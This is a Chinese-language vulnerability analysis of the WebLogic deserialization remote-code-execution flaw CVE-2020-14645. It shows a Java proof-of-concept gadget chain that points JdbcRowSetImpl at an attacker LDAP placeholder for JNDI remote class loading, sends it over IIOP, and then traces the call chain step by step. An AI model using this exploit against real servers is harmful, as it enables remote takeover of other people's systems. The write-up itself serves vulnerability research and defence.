Weblogic 远程命令执行漏洞(CVE-2020-14645)分析

 

作者:白帽汇安全研究院@hu4wufu

核对:白帽汇安全研究院@r4v3zn

前言

近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过。之前的 CVE-2020-2883 本质上是通过 ReflectionExtractor 调用任意方法,从而实现调用 Runtime 对象的 exec 方法执行任意命令,补丁将 ReflectionExtractor 列入黑名单,那么可以使用 UniversalExtractor 重新构造一条利用链。UniversalExtractor 任意调用 getis方法导致可利用 JDNI 远程动态类加载。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的,本文也是基于该版本进行分析。

 

漏洞复现

漏洞利用 POC,以下的分析也是基于该 POC 进行分析

ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);

成功弹出计算机

 

漏洞分析

了解过 JDNI 注入的都知道漏洞在 lookup() 触发,这里在 JdbcRowSetImpl.class326lookup() 函数处设置断点,以下为漏洞利用的简要调用链条:

我们从头分析,我们都知道反序列化的根本是对象反序列化的时候,我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来。我们在 in.readObject() 处打断点,跟进查看 PriorityQueue.readObject() 方法

这里 782 执行 s.defaultReadObject() ,785 执行 s.readInt() 赋给对象输入流大小以及数组长度,并在 790 行执行 for 循环,依次将 s.readObject() 方法赋值给 queue 对象数组,这里 queue 对象数组长度为 2。

接着往下跟,查看 heapify() 方法。PriorityQueue 实际上是一个最小堆,这里通过 siftDown() 方法进行排序实现堆化,

跟进 siftDown() 方法,这里首先判断 comparator 是否为空

我们可以看看 comparator 是怎么来的,由此可见是在 PriorityQueue 的构造函数中被赋值的,在初始化构造时,除了给 this.comparator 进行赋值之外,通过 initialCapacity 进行初始化长度。

comparator 不为空,所以我们执行的是 siftDownUsingComparator() 方法,所以跟进 siftDownUsingComparator() 方法。

继续跟进 ExtractorComparator.compare() 方法

这里调用的是 this.m_extractor.extract() 方法,来看看 this.m_extractor,这里传入了 extractor

this.m_extractor 的值是与传入的 extractor 有关的。这里需要构造 this.m_extractorChainedExtractor,才可以调用 ChainedExtractorextract() 方法实现 extract() 调用。

继续跟进 ChainedExtractor.extract() 方法,可以发现会遍历 aExtractor 数组,并调用 extract() 方法。

跟进 extract() 方法,此处由于 m_cacheTarget 使用了 transient 修饰,无法被反序列化,因此只能执行 else 部分,最后通过 this.extractComplex(oTarget) 进行最终触发漏洞点

this.extractComplex(oTarget) 中可以看到最后通过 method.invoke() 进行反射执行,其中 oTargetaoParam 都是可控的。

我们跟进190的 findMethod() 方法,在 475 行需要使 fExactMatchtruefStaticfalse 才可让传入 clz 的可以获取任意方法。fStatic 是可控的,而 fExactMatch 默认为true ,只要没进入 for 循环即可保持 true 不变,使 cParams 为空即 aclzParam 为空的 Class 数组即可,此处 aclzParamgetClassArray() 方法获取。

getClasssArray 中通过获取输入参数的值对应的 Class 进行处理。

由于传入的 aoParam 是一个空的 Object[],所以获取对应的 Class 也为空的 Class[],跟入 isPropertyExtractor() 中进行进行获取可以看到将 this._fMethod 获取相反的值。

由于 m_fMethodtransient 修饰,不会被序列化,通过分析 m_fMethod 赋值过程,可发现在 init() 时会获取sCName,并且通过判定是否为 () 结尾来进行赋值。

由于参数为 this 的原因,导致getValueExtractorCanonicalName()方法返回的都是 null

跟入 getValueExtractorCanonicalName()函数,最后是通过调用 computeValuExtractorCanonicalName 进行处理。

跟入 computeValuExtractorCanonicalName() 之后,如果 aoParam不为 null 且数组长度大于 0 就会返回 null,由于 aoParam 必须为 null ,因此我们调用的方法必须是无参的。接着如果方法名 sName 不以 () 结尾,就会直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头,如果是的话就会截取掉并返回。

回到 extractComplex() 方法中,在 if 条件里会对上述返回的方法名做首字母大写处理,然后拼接 BEAN_ACCESSOR_PREFIXES 数组中的前缀,判断 clzTarget 类中是否含有拼接后的方法。这里可以看到我们只能调用任意类中的 getis 开头的无参方法。也就解释了为什么 poc 会想到利用 JNDI 来进行远程动态类加载。

跟进 method.invoke() 方法,会直接跳转至 JdbcRowSetImpl.getDatabaseMetaData()

由于JdbcRowSetImpl.getDatabaseMetaData(),调用了 this.connect(),可以看到在 326 行执行了 lookup 操作,触发了漏洞。

至此,跟进 getDataSourceName(),可看到调用了可控制的 dataSource

 

总结

此漏洞主要以绕过黑名单的形式,利用 UniversalExtractor 任意调用getis方法导致 JNDI 注入,由此拓展 CVE-2020-14625。

 

参考

(完)